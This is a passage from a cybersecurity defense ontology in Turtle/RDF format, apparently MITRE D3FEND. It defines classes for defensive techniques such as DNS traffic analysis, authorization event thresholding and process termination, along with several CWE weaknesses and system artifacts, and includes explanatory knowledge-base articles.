    owl:inverseOf d3f:may-have-weakness .

d3f:ATLASReconnaissanceTechnique a owl:Class ;
    rdfs:label "Reconnaissance Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0002 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Reconnaissance Technique" .

d3f:ATTACKICSLateralMovementTechnique a owl:Class ;
    rdfs:label "Lateral Movement Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0109 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Lateral Movement Technique" .

d3f:ArchiveFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Archive File" ;
    d3f:definition "An archive file is a file that is composed of one or more computer files along with metadata. Archive files are used to collect multiple data files together into a single file for easier portability and storage, or simply to compress files to use less storage space. Archive files often store directory structures, error detection and correction information, arbitrary comments, and sometimes use built-in encryption." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Archive_file> ;
    rdfs:subClassOf d3f:File .

d3f:AuthenticationLog a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authentication Log" ;
    d3f:definition "A log of authentication events." ;
    d3f:records d3f:Authentication ;
    rdfs:seeAlso <http://dbpedia.org/resource/Authorization>,
        <http://wordnet-rdf.princeton.edu/id/00155053-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:records ;
            owl:someValuesFrom d3f:Authentication ],
        d3f:EventLog .

d3f:AuthorizationEventThresholding a d3f:AuthorizationEventThresholding,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authorization Event Thresholding" ;
    d3f:analyzes d3f:Authorization ;
    d3f:created "2020-08-05T00:00:00"^^xsd:dateTime ;
    d3f:d3fend-id "D3-AZET" ;
    d3f:definition "Collecting authorization events, creating a baseline user profile, and determining whether authorization events are consistent with the baseline profile." ;
    d3f:kb-article """## How it works

Authorization event data is collected to create a baseline user profile. Authorization events that deviate from the baseline and exceed a static or dynamic threshold are identified for further action. Authorization events can include successful and failed authorization attempts as well as events related to permissions including viewing, editing, deleting, creating files, databases etc.

## Considerations

Depending on the complexity of the data considered, outliers may not be obvious to a human analyst reviewing events in simplistic analytic views. If malicious activity is not statistically different from benign activity, an alert threshold will not be met.""" ;
    d3f:kb-reference d3f:Reference-MethodAndApparatusForNetworkFraudDetectionAndRemediationThroughAnalytics_IdaptiveLLC,
        d3f:Reference-SMBSessionSetups_MITRE,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-System,Method,AndComputerProgramProductForDetectingAndAssessingSecurityRisksInANetwork_ExabeamInc>,
        d3f:Reference-UserLoggedInToMultipleHosts_MITRE ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Authorization ],
        d3f:UserBehaviorAnalysis .

d3f:CWE-1061 a owl:Class ;
    rdfs:label "Insufficient Encapsulation" ;
    d3f:cwe-id "CWE-1061" ;
    d3f:definition "The product does not sufficiently hide the internal representation and implementation details of data or methods, which might allow external components or modules to modify data unexpectedly, invoke unexpected functionality, or introduce dependencies that the programmer did not intend." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-269 a owl:Class ;
    rdfs:label "Improper Privilege Management" ;
    d3f:cwe-id "CWE-269" ;
    d3f:definition "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-330 a owl:Class ;
    rdfs:label "Use of Insufficiently Random Values" ;
    d3f:cwe-id "CWE-330" ;
    d3f:definition "The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-362 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')" ;
    d3f:cwe-id "CWE-362" ;
    d3f:definition "The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently." ;
    d3f:synonym "Race Condition" ;
    d3f:weakness-of d3f:SharedResourceAccessFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:SharedResourceAccessFunction ],
        d3f:CWE-691 .

d3f:CWE-552 a owl:Class ;
    rdfs:label "Files or Directories Accessible to External Parties" ;
    d3f:cwe-id "CWE-552" ;
    d3f:definition "The product makes files or directories accessible to unauthorized actors, even though they should not be." ;
    rdfs:subClassOf d3f:CWE-285,
        d3f:CWE-668 .

d3f:CWE-705 a owl:Class ;
    rdfs:label "Incorrect Control Flow Scoping" ;
    d3f:cwe-id "CWE-705" ;
    d3f:definition "The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-706 a owl:Class ;
    rdfs:label "Use of Incorrectly-Resolved Name or Reference" ;
    d3f:cwe-id "CWE-706" ;
    d3f:definition "The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-758 a owl:Class ;
    rdfs:label "Reliance on Undefined, Unspecified, or Implementation-Defined Behavior" ;
    d3f:cwe-id "CWE-758" ;
    d3f:definition "The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-79 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')" ;
    d3f:cwe-id "CWE-79" ;
    d3f:definition "The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users." ;
    d3f:synonym "CSS",
        "DOM-Based XSS / Type 0 XSS",
        "HTML Injection",
        "Reflected XSS / Non-Persistent XSS / Type 1 XSS",
        "Stored XSS / Persistent XSS / Type 2 XSS",
        "XSS" ;
    d3f:weakness-of d3f:UserInputFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        d3f:CWE-74 .

d3f:ClusterAnalysis a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cluster Analysis" ;
    d3f:d3fend-id "D3A-CA" ;
    d3f:definition "Cluster analysis or clustering is the task of grouping a set of objects in such a way that objects in the same group (called a cluster) are more similar (in some sense) to each other than to those in other groups (clusters)." ;
    d3f:kb-article """## References
Cluster analysis. (n.d.). Wikipedia. [Link](https://en.wikipedia.org/wiki/Cluster_analysis)""" ;
    rdfs:subClassOf d3f:UnsupervisedLearning .

d3f:CreateFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Create File" ;
    d3f:creates d3f:File ;
    d3f:definition "System call to create a new file on a file system. Some operating systems implement this functionality as part of their d3f:OpenFile system call." ;
    rdfs:seeAlso <https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfile2>,
        <https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea>,
        <https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew>,
        <https://linux.die.net/man/2/creat> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:File ],
        d3f:SystemCall .

d3f:DHCPEvent a owl:Class ;
    rdfs:label "DHCP Event" ;
    d3f:definition "An event involving the Dynamic Host Configuration Protocol (DHCP), a UDP-based protocol used to dynamically assign IP addresses and configure network parameters, enabling devices to communicate efficiently on a network." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/dhcp_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:DHCPNetworkTraffic ],
        d3f:ApplicationLayerEvent,
        d3f:UDPEvent .

d3f:DNSLookup a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DNS Lookup" ;
    d3f:definition "A Domain Name System (DNS) lookup is a record returned from a DNS resolver after querying a DNS name server.  Typically considered an A or AAAA record, where a domain name is resolved to an IPv4 or IPv6 address, respectively." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Domain_Name_System>,
        <http://dbpedia.org/resource/List_of_DNS_record_types>,
        <https://schema.ocsf.io/objects/dns_query> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:DNSTrafficAnalysis a d3f:DNSTrafficAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DNS Traffic Analysis" ;
    d3f:analyzes d3f:OutboundInternetDNSLookupTraffic ;
    d3f:d3fend-id "D3-DNSTA" ;
    d3f:definition "Analysis of domain name metadata, including name and DNS records, to determine whether the domain is likely to resolve to an undesirable host." ;
    d3f:kb-article """## How it works
This technique can be accomplished in a number of ways.

* One example analytic determines whether or not a domain name was generated with an algorithm. Domain generation algorithms (DGAs) are sometimes used to create a domain name automatically  that will resolve to C2 infrastructure, without directly coding the domains in question into the malicious code.
* Another method analyzes information about domains that have been visited, including whether a domain name is longer than a common length,  if a dynamic DNS domain was visited, if a fast-flux domain was visited, and if a recently created domain was visited. These factors are used to develop a score and if that score is over a certain threshold, an alert is generated.
* Collected malware samples can be executed in a virtual environment to identify network domains that are connected to during execution. The network domains are then generated into signatures to identity bad domains for other hosts.

This technique does not check for content hosted at the domain.

## Considerations

* DNS produces a large amount of traffic which can be resource-intensive to analyze in real time.
* If a server is compromised, for example, as part of a watering hole attack, but the DNS information pointing to that server is not altered, this technique would not catch such an incident.""" ;
    d3f:kb-reference d3f:Reference-DomainAgeRegistrationAlert_IncRapid7IncRAPID7Inc,
        d3f:Reference-HeuristicBotnetDetection_PaloAltoNetworksInc,
        d3f:Reference-MethodAndSystemForDetectingAlgorithm-generatedDomains_VECTRANETWORKSInc,
        d3f:Reference-PredictingDomainGenerationAlgorithmsWithLongShort-TermMemoryNetworks_,
        d3f:Reference-SinkholingBadNetworkDomainsByRegisteringTheBadNetworkDomainsOnTheInternet_PaloAltoNetworksInc ;
    d3f:may-contain d3f:DNSLookup ;
    d3f:synonym "Domain Name Analysis" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:OutboundInternetDNSLookupTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:DNSLookup ],
        d3f:NetworkTrafficAnalysis .

d3f:Dependency a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Dependency" ;
    d3f:definition "A dependency is the relationship of relying on or being controlled by someone or something else.  This class reifies dependencies that correspond to the object property depends-on." ;
    d3f:dependent d3f:D3FENDCore ;
    d3f:provider d3f:D3FENDCore ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/14024833-n>,
        <https://www.cisa.gov/what-are-dependencies> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:dependent ;
            owl:someValuesFrom d3f:D3FENDCore ],
        [ a owl:Restriction ;
            owl:onProperty d3f:provider ;
            owl:someValuesFrom d3f:D3FENDCore ],
        d3f:DigitalInformationBearer .

d3f:DigitalMedia a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Digital Media" ;
    d3f:definition "Digital media refers to any communication media that operate in conjunction with various encoded machine-readable data formats." ;
    rdfs:isDefinedBy "https://dbpedia.org/page/Digital_media" ;
    rdfs:subClassOf d3f:DigitalInformation .

d3f:EnsembleLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Ensemble Learning" ;
    d3f:d3fend-id "D3A-EL" ;
    d3f:definition "In statistics and machine learning, ensemble methods use multiple learning algorithms to obtain better predictive performance than could be obtained from any of the constituent learning algorithms alone" ;
    d3f:kb-article """## References
Ensemble learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Ensemble_learning).""" ;
    rdfs:subClassOf d3f:MachineLearning .

d3f:HardwareComponentInventory a d3f:HardwareComponentInventory,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hardware Component Inventory" ;
    d3f:d3fend-id "D3-HCI" ;
    d3f:definition "Hardware component inventorying identifies and records the hardware items in the organization's architecture." ;
    d3f:inventories d3f:HardwareDevice ;
    d3f:kb-article """## How it works
Administrators collect information on hardware devices such as peripherals, NICs, processors, and memory devices that are components of the computers in their architecture using a variety of administrative and management tools that query for this information.  In some cases, where such queries are not supported or provide specific information of interest, an administrator may also collect this information through remote adminstration tools and system commands, either manually or using scripts.

## Considerations
* Scanning and probing techniques using mapping tools can result in side effects to information technology (IT) and operational technology (OT) systems.
* An adversary conducting network enumeration may engage in activities that parallel normal hardware inventorying activities, but would require escalating to admin privileges for most of the operations requiting administrative tools

## Examples
* Bus discovery
   * Admin-scripted PCI Bus inventory using ssh and pciutils
* Application-layer discovery
   * Simple Network Management Protocol (SNMP) collects MIB information
   * Web-based Enterprise Management (WBEM) collects CIM information
      * Windows Management Instrumentation (WMI)
      * Windows Management Infrastructure (MI)""" ;
    d3f:kb-reference d3f:Reference-AdvancedDeviceMatchingSystem ;
    d3f:synonym "Hardware Component Discovery",
        "Hardware Component Inventorying" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:inventories ;
            owl:someValuesFrom d3f:HardwareDevice ],
        d3f:AssetInventory .

d3f:HardwareDeviceStateEvent a owl:Class ;
    rdfs:label "Hardware Device State Event" ;
    d3f:definition "An event involving a change to a device's state, such as connection, disconnection, modification, or operational state transitions (e.g., online or offline). Device state events provide visibility into device availability and operational conditions." ;
    rdfs:subClassOf d3f:HardwareDeviceEvent .

d3f:IPCTrafficAnalysis a d3f:IPCTrafficAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "IPC Traffic Analysis" ;
    d3f:analyzes d3f:IntranetIPCNetworkTraffic ;
    d3f:d3fend-id "D3-IPCTA" ;
    d3f:definition "Analyzing standard inter process communication (IPC) protocols to detect deviations from normal protocol activity." ;
    d3f:kb-article """## How it works
Inter process communication enables applications or threads to share data. This can involve one or more computers. Monitoring IPC in your environment can reveal abnormal or malicious activity.
IPC can occur within a single computer or between multiple computers remotely through network protocols. Thus there are multiple ways to collect and monitor these exchanges between processes. A network protocol analyzer may monitor and parse SMB network traffic to record system activity. A host based monitoring agent may monitor IPC activity contained within a single host to look for deviations from standard usages.

### Examples
 * SMB
 * Zeromq
 * Java RMI API

## Considerations
* IPC can generate substantial amounts of data, and it may not be feasible to collect all of it.
* IPC may occur over loopback interfaces or direct memory access granted by the operating system.""" ;
    d3f:kb-reference d3f:Reference-CAR-2015-04-001%3ARemotelyScheduledTasksViaAT_MITRE,
        d3f:Reference-SMBCopyAndExecution_MITRE,
        d3f:Reference-SMBEventsMonitoring_MITRE,
        d3f:Reference-SMBSessionSetups_MITRE,
        d3f:Reference-SMBWriteRequest-NamedPipes_MITRE,
        d3f:Reference-SMBWriteRequest_MITRE,
        d3f:Reference-SecuritySystemWithMethodologyForInterprocessCommunicationControl_CheckPointSoftwareTechInc ;
    d3f:synonym "IPC Analysis" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:IntranetIPCNetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:LocalResource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Resource" ;
    d3f:definition "In computing, a system resource, or simply resource, is any physical or virtual component of limited availability within a computer system. Every device connected to a computer system is a resource. Every internal system component is a resource. Virtual system resources include files (concretely file handles), network connections (concretely network sockets), and memory areas. Managing resources is referred to as resource management, and includes both preventing resource leaks (releasing a resource when a process has finished using it) and dealing with resource contention (when multiple processes wish to access a limited resource)." ;
    rdfs:seeAlso <http://dbpedia.org/resource/System_resource> ;
    rdfs:subClassOf d3f:Resource ;
    skos:altLabel "System Resource" .

d3f:MachineLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Machine Learning" ;
    d3f:d3fend-id "D3A-ML" ;
    d3f:definition "Machine learning techniques are computational methods that combine statistics, probability, and optimization to make accurate predictions and/or improve performance." ;
    d3f:kb-article """## References
Machine learning." Wikipedia. [Link](https://en.wikipedia.org/wiki/Machine_learning).""" ;
    rdfs:subClassOf d3f:AnalyticTechnique .

d3f:Model a d3f:DefensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Model" ;
    d3f:definition "The model tactic is used to apply security engineering, vulnerability, threat, and risk analyses to digital systems. This is accomplished by creating and maintaining a common understanding of the systems being defended, the operations on those systems, actors using the systems, and the relationships and interactions between these elements." ;
    d3f:display-order -1 ;
    d3f:display-priority 1 ;
    rdfs:subClassOf d3f:DefensiveTactic .

d3f:NetworkSession a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Session" ;
    d3f:definition "A network session is a temporary and interactive information interchange between two or more devices communicating over a network. A session is established at a certain point in time, and then 'torn down' - brought to an end - at some later point. An established communication session may involve more than one message in each direction. A session is typically stateful, meaning that at least one of the communicating parties needs to hold current state information and save information about the session history in order to be able to communicate, as opposed to stateless communication, where the communication consists of independent requests with responses. Network sessions may be established and implemented as part of protocols and services at the application, session, or transport layers of the OSI model." ;
    d3f:produces d3f:NetworkTraffic ;
    rdfs:seeAlso <http://dbpedia.org/resource/OSI_model>,
        <http://dbpedia.org/resource/Session_(computer_science)>,
        <https://schema.ocsf.io/objects/network_connection_info> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:Session .

d3f:OTModifyDeviceOperatingModeCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Modify Device Operating Mode Command" ;
    d3f:definition "Modifies the running state of an application or program on a device." ;
    d3f:modifies d3f:OTControllerOperatingMode ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        "GE-SRTP: SET PLC (RUN VS STOP)" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceConfigurationCommand .

d3f:OperatingSystemProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System Process" ;
    d3f:definition "An operating system process, or system process, is a process running to perform operating system functions." ;
    rdfs:seeAlso <http://people.scs.carleton.ca/~maheshwa/courses/300/l4/node7.html> ;
    rdfs:subClassOf d3f:Process ;
    skos:altLabel "System Process" .

d3f:PartitionTable a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Partition Table" ;
    d3f:addresses d3f:Partition ;
    d3f:definition "A partition is a fixed-size subset of a storage device which is treated as a unit by the operating system. A partition table is a table maintained on the storage device by the operating system describing the partitions on that device. The terms partition table and partition map are most commonly associated with the MBR partition table of a Master Boot Record (MBR) in IBM PC compatibles, but it may be used generically to refer to other \"formats\" that divide a disk drive into partitions, such as: GUID Partition Table (GPT), Apple partition map (APM), or BSD disklabel." ;
    d3f:may-contain d3f:BootRecord ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Partition_table> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:BootRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:addresses ;
            owl:someValuesFrom d3f:Partition ],
        d3f:DigitalInformationBearer .

d3f:PhysicalLink a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Link" ;
    d3f:carries d3f:Signal ;
    d3f:definition """A physical link is a dedicated connection for communication that uses some physical media (electrical, electromagnetic, optical, to include clear spaces or vacuums.)  A physical link represents only a single hop (link) in any larger communcations path, circuit, or network.

NOTE: not synonymous with data link as a data link can be over a telecommunications circuit, which may be a virtual circuit composed of multiple phyical links.""" ;
    d3f:synonym "Layer-1 Link" ;
    rdfs:seeAlso <https://dbpedia.org/resource/Physical_layer> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:carries ;
            owl:someValuesFrom d3f:Signal ],
        d3f:Link .

d3f:Pipe a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pipe" ;
    d3f:definition "In Unix-like computer operating systems, a pipeline is a mechanism for inter-process communication using message passing.  In the strictest sense, a pipe is a single segment of a pipeline, allowing one process to pass information forward to another.  Network pipes allow processes on different hosts to interact." ;
    rdfs:isDefinedBy <http://www.linfo.org/pipe.html> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Pipeline_(Unix)> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "Pipeline" .

d3f:ProcessTermination a d3f:ProcessTermination,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Termination" ;
    d3f:d3fend-id "D3-PT" ;
    d3f:definition "Terminating a running application process on a computer system." ;
    d3f:kb-article """## How it works

Processes are managed by the operating system kernel.  Different operating system kernels manage the creation and termination of processes in a different manner, and expose this functionality via the kernel API.

A running process might be terminated to mitigate its immediate effects if it is exhibiting anomalous, unauthorized, or malicious behavior; such as after detecting anomalous behavior via <a href="https://d3fend.mitre.org/technique/d3f:AdministrativeNetworkActivityAnalysis" rdf:about="https://d3fend.mitre.org/ontologies/d3fend.owl#AdministrativeNetworkActivityAnalysis">Administrative Network Activity Analysis</a>, after a failed check from <a href="https://d3fend.mitre.org/technique/d3f:StackFrameCanaryVerification" rdf:about="https://d3fend.mitre.org/ontologies/d3fend.owl#StackFrameCanaryValidation">Stack Frame Canary Validation</a>, or after <a href="https://d3fend.mitre.org/technique/d3f:SystemCallAnalysis" rdf:about="https://d3fend.mitre.org/ontologies/d3fend.owl#SystemCallAnalysis">System Call Analysis</a> finds an attempt to execute an unauthorized system call.

### Proprietary technology
Security software might use proprietary technology to terminate processes, instead of the system-provided functions.    Further research may provide specific detail on such methods used.

### System-provided functions

#### Windows tools
In Windows, `ExitProcess()` is used to send a signal to a process to request it to exit, and `TerminateProcess()` is used to force a process to exit.

The `taskkill` executable available in the cmd shell is used to kill a process, with the `/F` switch forcing termination as with `TerminateProcess()`.  In PowerShell, `Stop-Process` is used, which is aliased by default to `spps` and `kill`.  Processes started in the Windows Subsystem for Linux (WSL) environment may be terminated there with the `kill` command.

In some cases, existing drivers can also be leveraged to kill processes.

#### Unix/Linux tools
In Unix-like systems, all process termination requests are handled using signals.  The `kill` function takes the Process ID and signal to send, and is accessible with the `kill` command.  Some shells have a `kill` builtin function which is separate than the `kill` binary, which can also kill background jobs in the shell and additionally perform the function faster, and can run from an existing instance of the shell if the process table is full.  The signal SIGTERM specifies that the process to terminate may invoke a handler that it has defined instead of terminating, and the signal SIGKILL forces immediate termination.

The related command `xkill` terminates the connection of a program to the X window server, after which the user process may decide to terminate itself; however, termination is not guaranteed as the process, which could be on the same or different host, could then run in a terminal or reconnect to a different X server on any host.  Emacs is such a program that would not terminate itself after its connection to the X server is terminated.

## Considerations

### Persistence Mechanisms
Terminating a malicious process is not enough to stop an adversary that has already gained persistence in the host via any initial access mechanism, including through that process or another access mechanism.

### Terminating Multiple Processes
On most operating systems, process termination operations typically occur independently of each other, without functionality provided to atomically terminate multiple processes.  If there are multiple malicious processes which can make system calls to spawn other processes once one of them is closed, user session termination or system restart might be required.

### Process Access Permissions
Users must have permissions to kill the process.  On Unix-like systems, either root or the process user can kill the process.  On Windows systems, process permissions are managed separately via process security tokens.

### Process Resource Handles

#### Terminating Processes with Open Resource Handles

Processes may have open resource handles, which could leave those resources in an undesired state if the process is forced to terminate.  As such, most operating systems provide a means to send a signal to a process to inform it to gracefully terminate, and on most of these operating systems, it is the typical first step used to terminate a process.

#### Signal Traps
As the process may have open resource handles, commonly-used methods of process termination involve sending a signal to the process to terminate.
On Windows, the `ExitProcess()` function is used for this purpose.  Process instructions, as well as a third-party DLL can also cause the process to exit.
On Linux, the process is sent a signal on the occurrence of various events: when it loses the console, `SIGHUP`; when termination is requested, `SIGTERM`.  The processor then redirects execution to the function registered to handle the signal.

Therefore, sending a signal to the process to ask it to terminate may not always work.

##### Avoiding Signal Traps

On Unix-like systems, sending the `SIGKILL` signal for a process does not send a message to the process or invoke an implementation-defined handler; instead, it immediately does not allow the process to execute any further processor instructions.   On Windows `TerminateProcess()` instead of `ExitProcess()` performs the equivalent.

#### Hang on System Call Execution

Even still, as the operating system kernel manages the processes, kernel code may block process signals, including those which cannot be trapped, and does in certain circumstances.  Signals are blocked and queued for the duration of the system call when interrupting the system call would result in a kernel invariant being violated, such as when an action results in a malformed data structure; this blocking is common for filesystem requests.  Such system calls can hang when a filesystem has gone offline, leading to a long-term uninterruptible sleep, represented in POSIX command `ps` output as D state.
Any malicious system calls or system call handlers are issues of a much larger problem (a kernel-level rootkit) and the system should be redeployed entirely or restored from a backup known to be prior to compromise, and other systems accessible directly and indirectly from that one should also be examined.

A process that is truly hung in a system call may prevent the system from shutting down and leave it in an unresponsive state; a hard power off is required.

To speed up the action of terminating a process in uninterruptible sleep, the process resource accesses (handles) could be analyzed.

On Linux, [`sync` followed by `echo 3 > /proc/sys/vm/drop_caches`](https://www.kernel.org/doc/Documentation/sysctl/vm.txt) is a safe way to free up some inactive resource handles.


#### Kernel Processes and Threads
The kernel may not allow kernel processes, which are created via methods other than user-space processes, to be terminated.

#### Other Code using the Process

Terminating a shared library can lead to unexpected errors; such shared libraries have their own mechanisms for termination.

On Windows, a DLL is unloaded when the reference count of the library reaches 0.

#### Zombie process

After a process has been terminated, it may still take up an entry in the operating system process table until another event occurs.

##### Windows
In Windows, a process object is deleted when the last handle to the process is closed.

##### Linux
In Linux, a process is removed from the process table when it is reaped by its parent process.  If the parent terminates, historically the parent has been changed to pid 1; however, in the Linux kernel 3.4 and above, processes can set a different process as the subreaper using the `prctl()` system call.

Zombie processes and hung processes could be resolved with a restart of the system.

#### System restart
Finally a system restart might be required to kill a process.
Systems which are only accessible via a remote in-band connection may become inaccessible if a process termination operation that is necessary for reboot does not complete.

### Subsystems
Processes that are started in a subsystem might not be fully terminated if they are terminated using the command for that subsystem.  For example, in the Windows Subsystem for Linux (WSL), processes started and terminated via WSL calls such as with the `kill` command in Bash may still have an entry in the Windows process table.""" ;
    d3f:kb-reference d3f:Reference-InstantProcessTerminationToolToRecoverControlOfAnInformationHandlingSystem_DellProductsLP,
        d3f:Reference-MalwareDetectionUsingLocalComputationalModels_CrowdstrikeInc ;
    d3f:terminates d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:terminates ;
            owl:someValuesFrom d3f:Process ],
        d3f:ProcessEviction .

d3f:RemoteCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Command" ;
    d3f:definition "A remote command is an instruction or set of instructions issued from a geographically or logically distant location to control, configure, or elicit a response from a target system, device, or entity. The execution of a remote command does not require direct physical interaction with the target; instead, it relies on a communication link to transmit the instruction and receive any resulting feedback or data." ;
    rdfs:subClassOf d3f:Command .

d3f:ResourceDevelopmentTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resource Development Technique" ;
    d3f:definition "The adversary is trying to establish resources they can use to support operations." ;
    d3f:enables d3f:TA0042 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0042 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:ServiceEvent a owl:Class ;
    rdfs:label "Service Event" ;
    d3f:definition "An event capturing the operation, configuration, or lifecycle of a service application. Services are specialized applications designed to provide reusable functionality to clients, systems, or other applications, often operating in the background or across networks." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:ServiceApplication ],
        d3f:ApplicationEvent .

d3f:Signal a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Signal" ;
    d3f:definition "In electronics and telecommunications, signal refers to any time-varying voltage, current, or electromagnetic wave that carries information." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Signal> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:carries ;
            owl:someValuesFrom d3f:DigitalInformation ],
        d3f:PhysicalArtifact .

d3f:SourceCodeHardening a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Source Code Hardening" ;
    d3f:d3fend-id "D3-SCH" ;
    d3f:definition "Hardening source code with the intention of making it more difficult to exploit and less error prone." ;
    d3f:enables d3f:Harden ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Harden ],
        d3f:DefensiveTechnique .

d3f:SymbolicAI a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Symbolic AI" ;
    d3f:d3fend-id "D3A-SR" ;
    d3f:definition "Symbolic artificial intelligence is the term for the collection of all methods in artificial intelligence that are based on high-level symbolic (human-readable) representations of problems, logic, and search." ;
    d3f:kb-article """## How it works
Symbolic artificial intelligence is used in tools such as logic programming, production rules, semantic nets and frames, and it developed applications such as knowledge-based systems (in particular, expert systems), symbolic mathematics, automated theorem provers, ontologies, the semantic web, and automated planning and scheduling systems. The Symbolic AI paradigm led to seminal ideas in search, symbolic programming languages, agents, multi-agent systems, the semantic web, and the strengths and limitations of formal knowledge and reasoning systems.

## References
